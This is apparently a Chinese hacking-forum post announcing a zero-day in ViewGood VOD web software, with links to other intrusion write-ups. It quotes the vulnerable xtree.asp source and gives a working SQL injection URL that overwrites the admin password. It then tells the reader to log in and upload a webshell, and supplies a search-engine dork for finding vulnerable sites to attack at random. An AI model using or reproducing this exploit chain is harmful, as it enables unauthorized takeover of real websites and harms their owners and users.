|
[推荐]入侵远古VOD 0day
玩了有段时间了 嘎嘎。。。。
漏洞文件webmedia/common/function/xtree.asp
| 以下是引用片段： <!--#include file="../dbcon.inc.asp" --> <% iNode_ID = Request.QueryString("id") if Len(Session("SuperAdmin")) > 0 or Len(Session("LIVEAdmin")) > 0 or Len(Session("VODAdmin")) > 0 then szSQL = "Select Type_ID,ParentID,TypeName FROM TypeInfo Where Type_ID>=20 AND ParentID=" & iNode_ID else szSQL = "Select Type_ID,ParentID,TypeName FROM TypeInfo Where Type_ID>20 AND ParentID=" & iNode_ID end if rsData.Open szSQL,con,1,3 szRetVar = "<?xml version='1.0' encoding='GB2312'?><Root>" do while not rsData.EOF szRetVar = szRetVar & "<TypeInfo>" szRetVar = szRetVar & "<IDN>" & rsData("Type_ID") & "</IDN>" szRetVar = szRetVar & "<ParentID>" & rsData("ParentID") & "</ParentID>" szRetVar = szRetVar & "<TypeName>" & Replace(rsData("TypeName"), "&", "&") & "</TypeName>" szRetVar = szRetVar & "</TypeInfo>" rsData.MoveNext loop szRetVar = szRetVar & "</Root>" rsData.Close Response.CharSet = "GB2312" Response.C Response.Expires = -1 Response.Write szRetVar %> 〈!--#include file="../dbend.inc.asp" --> 〈!--#include file="../dbcon.inc.asp" --> 〈% iNode_ID = Request.QueryString("id") if Len(Session("SuperAdmin")) > 0 or Len(Session("LIVEAdmin")) > 0 or Len(Session("VODAdmin")) > 0 then szSQL = "Select Type_ID,ParentID,TypeName FROM TypeInfo Where Type_ID>=20 AND ParentID=" & iNode_ID else szSQL = "Select Type_ID,ParentID,TypeName FROM TypeInfo Where Type_ID>20 AND ParentID=" & iNode_ID end if rsData.Open szSQL,con,1,3 szRetVar = "<?xml version='1.0' encoding='GB2312'?><Root>" do while not rsData.EOF szRetVar = szRetVar & "<TypeInfo>" szRetVar = szRetVar & "<IDN>" & rsData("Type_ID") & "</IDN>" szRetVar = szRetVar & "<ParentID>" & rsData("ParentID") & "</ParentID>" szRetVar = szRetVar & "<TypeName>" & Replace(rsData("TypeName"), "&", "&") & "</TypeName>" szRetVar = szRetVar & "</TypeInfo>" rsData.MoveNext loop szRetVar = szRetVar & "</Root>" rsData.Close Response.CharSet = "GB2312" Response.C Response.Expires = -1 Response.Write szRetVar %> <!--#include file="../dbend.inc.asp" --> |
很容易看出以上存在着DB权限注入
注射地址http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp?id=1
表段名：customer
构造函数 把admin的pass改成fuck
http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp?id=1;update%20customer%20set%20UserPass='633f94d350db34d5'%20where%20UserName='admin'
登陆后台 直接上传大马 完事！
测试方法：在google baidu搜: inurL:webmedia/ 随便找个站都可以入侵
官方地址http://www.viewgood.com/
| 入侵88red系统的详细过程 | 04-07 |
| 对趋势科技等数万网站被攻击的分 | 03-21 |
| 凡人网络购物系统 V8.0 简体中文 | 03-18 |
| linux平台下渗透日本著名XXXXXX. | 03-18 |
| 搜索框所引起的XSS漏洞 | 03-05 |
| 跳转漏洞的利用 | 03-05 |
| 对复旦大学的一次漫长渗透 | 03-03 |
| .net一句话马以及dx论坛拿shell | 03-01 |
| php渗透入侵过程图文详解 | 03-01 |
| DJ网站的入侵详细过程 | 02-26 |
| BBSXP2008存在后台注射漏洞 | 02-19 |
| Discuz! 6 后台拿Shell的方法 | 02-17 |
您现在的位置：